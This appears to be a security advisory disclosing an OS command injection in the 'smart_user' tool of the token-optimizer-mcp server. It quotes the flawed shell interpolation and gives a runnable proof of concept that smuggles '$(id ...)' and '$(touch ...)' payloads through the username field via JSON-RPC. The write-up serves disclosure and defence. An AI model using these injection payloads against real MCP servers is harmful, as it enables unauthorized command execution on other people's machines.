GHSA-49mq-fc6q-3h46

### Summary

`token-optimizer-mcp` is vulnerable to OS command injection in the `smart_user` tool.

The `get-user-info` operation accepts a user-controlled `username` argument and later interpolates it into a shell command executed through `execAsync()`:

```ts getent passwd "${username}" || grep "^${username}:" /etc/passwd ```

Although the value is wrapped in double quotes, POSIX shells still evaluate command substitution such as `$(...)` and backticks inside double quotes. As a result, an MCP client can provide a crafted username such as:

```text $(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID) ```

and execute arbitrary local commands with the privileges of the user running the MCP server.

This is a CWE-78 OS command injection issue.

Tested version:

```text @ooples/token-optimizer-mcp v5.0.1 MCP serverInfo.name: token-optimizer-mcp MCP serverInfo.version: 0.2.0 ```

This issue is not related to the current `npm audit` dependency advisories. The vulnerability is in `token-optimizer-mcp`'s own tool implementation.

---

### Details

The vulnerable code path is in the `smart_user` implementation.

The `username` argument is eventually passed into a shell command similar to:

```ts const { stdout: passwdOut } = await execAsync( `getent passwd "${username}" || grep "^${username}:" /etc/passwd` ); ```

The problem is that `username` is controlled by the MCP tool caller and is inserted into a command string executed by a shell.

Double quotes do not make this safe. In POSIX shells, command substitution is still evaluated inside double quotes:

```bash "$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)" "`id`" ```

Therefore, a malicious `username` can execute arbitrary commands before `getent` or `grep` receives its arguments.

The affected MCP tool call is:

```text tool: smart_user operation: get-user-info argument: username ```

Root cause:

```text MCP-controlled username → interpolated into shell command string → executed through execAsync() → shell evaluates $(...) / backticks → arbitrary command execution ```

---

### PoC

The following PoC runs a harmless `id` command and writes the result to a temporary file under `/tmp`.

Prerequisites:

```text Node.js installed token-optimizer-mcp built from source ```

Build from source:

```bash git clone https://github.com/ooples/token-optimizer-mcp.git cd token-optimizer-mcp npm install npm run build ```

Run the PoC:

```bash cd /path/to/token-optimizer-mcp

ENTRY=dist/server/index.js ID_OUT="/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_$(date +%s)_$$" rm -f "$ID_OUT"

echo "[*] ENTRY=$ENTRY" echo "[*] id output file: $ID_OUT"

python3 - "$ID_OUT" <<'PY' | timeout 20 node "$ENTRY" 2>&1 | tee /tmp/token_optimizer_smart_user_poc.log import json import sys

id_out = sys.argv[1]

# This value is inserted into: # getent passwd "${username}" || grep "^${username}:" /etc/passwd # Command substitution still executes inside double quotes. evil_username = f'$(id > {id_out})'

messages = [ { "jsonrpc": "2.0", "id": "init", "method": "initialize", "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": { "name": "poc", "version": "0" } } }, { "jsonrpc": "2.0", "method": "notifications/initialized", "params": {} }, { "jsonrpc": "2.0", "id": "poc-smart-user", "method": "tools/call", "params": { "name": "smart_user", "arguments": { "operation": "get-user-info", "username": evil_username, "useCache": False } } } ]

for msg in messages: print(json.dumps(msg), flush=True) PY

sleep 1

if [ -f "$ID_OUT" ]; then echo "[VULN CONFIRMED] smart_user command injection executed:" cat "$ID_OUT" ls -l "$ID_OUT" else echo "[FAIL] smart_user id output file not created" tail -120 /tmp/token_optimizer_smart_user_poc.log fi ```

Expected result:

```text [VULN CONFIRMED] smart_user command injection executed: uid=1001(<local-user>) gid=1001(<local-user>) groups=... -rw-rw-r-- 1 <local-user> <local-user> ... /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_... ```

In my test, the MCP response also showed that the payload reached the shell command:

```text Command failed: getent passwd "$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...)" || grep "^$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...):" /etc/passwd ```

The file `/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...` was created and contained the output of `id`, confirming command execution as the MCP server user.

A simpler marker-file variant also works:

```json { "operation": "get-user-info", "username": "$(touch /tmp/TOKEN_OPTIMIZER_SMART_USER_PWNED)", "useCache": false } ```

---

### Impact

This is an OS command injection vulnerability.

Any MCP client that can call the `smart_user` tool can execute arbitrary shell commands through the `username` argument of the `get-user-info` operation.

The commands execute with the privileges of the user running the `token-optimizer-mcp` server.

Confirmed impact:

```text execution of `id` as the MCP server user arbitrary file creation under /tmp through an injected command ```